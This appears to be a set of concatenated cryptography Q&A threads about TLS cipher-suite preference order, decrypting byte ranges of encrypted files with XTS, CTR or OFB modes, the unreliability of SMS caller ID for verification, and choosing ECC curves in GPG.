The order in the ClientHello shows what the client prefers, i.e. the preferred ciphers are on top. The server is still free to ignore this order and pick what it thinks is best. Often there is a related setting in the TLS configuration of the server, like SSLHonorCipherOrder for apache or ssl_prefer_server_ciphers for nginx.  Cloudflare at least makes use of the clients preference to optimize the connection. From Do the ChaCha: better mobile performance with cryptography:

  CloudFlare is able to intelligently choose whether to choose AES or
  ChaCha/Poly for different clients based on the client’s advertised
  cipher preference. For recent Intel processors, we use the standard
  AES-GCM algorithm. For browsers on machines that do not have a
  hardware AES chip, we prefer the ChaCha20-Poly1305.

Also RFC 5246 (TLS 1.2) says in section 7.4.1.2 ClientHello:

cipher_suites
  This is a list of the cryptographic options supported by the
  client, with the client's first preference first. ...


Decrypting arbitrary offset of encrypted file I want to store encrypted files on some storage backend that allows me to fetch bytes X through Y of the encrypted file. I can obviously decrypt the entire file locally and send it back to the client.

However, if the file is very large it would be nice to be able to arbitrarily decrypt that byte range on the fly. If possible, I'd like to be able to decrypt the parts by different servers at the same time (so I won't necessarily have the full decryption chain at hand).

Is there any block cipher mode that would allow for something like this, or any possible way at all?

If you can require that the ranges are block-aligned, the disk encryption modes (LRW, XEX, XTS, CTR, etc.) seem ideal for your purposes.  ECB mode also works with block-aligned ranges, but is, well, ECB mode.

If you need byte-level alignment, the only mode that looks promising is OFB mode: you compute a keystream that includes the range you want to decrypt, then XOR the appropriate section of the keystream with the encrypted section of the file.  For a large file, this can be rather inefficient, as you may be computing and discarding gigabytes of keystream before you get to the part you're going to use.


How secure it is to identify a user by an sms's caller id? I need to verify a user based on its phone number. I am thinking that instead of me sending him an sms, it would be cheaper if he sends me the sms and I verify he's phone number based on his caller ID. Is it trustable? Or can it be faked?

It can be faked.

https://en.wikipedia.org/wiki/SMS_spoofing

If you want to validate a phone, you should make sure they get what you send rather than trusting they are who they say they are.


Which ECC to choose with GPG? I want to generate a key pair with gpg2 2.1.11 and libgcrypt 1.6.5.

I use the command gpg2 --expert --full-key-gen. This allows me to choose an ECC:

Please select what kind of key you want:
   (1) RSA and RSA (default)
   (2) DSA and Elgamal
   (3) DSA (sign only)
   (4) RSA (sign only)
   (7) DSA (set your own capabilities)
   (8) RSA (set your own capabilities)
   (9) ECC and ECC
  (10) ECC (sign only)
  (11) ECC (set your own capabilities)

I choose (9) and then it asks me which ECC I want to use:

Please select which elliptic curve you want:
   (2) NIST P-256
   (3) NIST P-384
   (4) NIST P-521
   (5) Brainpool P-256
   (6) Brainpool P-384
   (7) Brainpool P-512
Your selection?

Since I do not know which one is safe and not designed to be broken, I searched the internet and found: https://safecurves.cr.yp.to Now I do not know whether that page is trustworthy, but I also don't know where else a good source of information on this is.

Assuming the page is right and trustworthy, there seems to be not a single safe curve offered to me by GPG. Am I screwed now and damned to using an unsafe one, or is there a better source of information regarding this?

First, the options for generating a key with gpg provide you an option for creating your Master (certify) key at the same time as an encryption subkey. These are the options for (1), (2), and (9). Otherwise, you are creating one key and setting the capabilities on it.
You need to consider the trade-offs of modern cryptosuites and the software that supports them. Most GPG keys today are still using a root RSA key in order to maintain backwards compatibility with client software that does not yet support ECC. I have yet to see a smartcard or a secure element that offers Ed25519 curves. If you are using an HSM you are probably still restricted to NIST curves, and P-256 at that.
Of the ECC curves, the NIST curves have the most support. [Note: You can read this question to understand the concern around NIST parameters: https://crypto.stackexchange.com/questions/10263/should-we-trust-the-nist-recommended-ecc-parameters]
If I were using smartcards, I would use NIST curves with the largest key size the smartcard would allow. If I were not using smartcards, I would use an Ed25519 curve.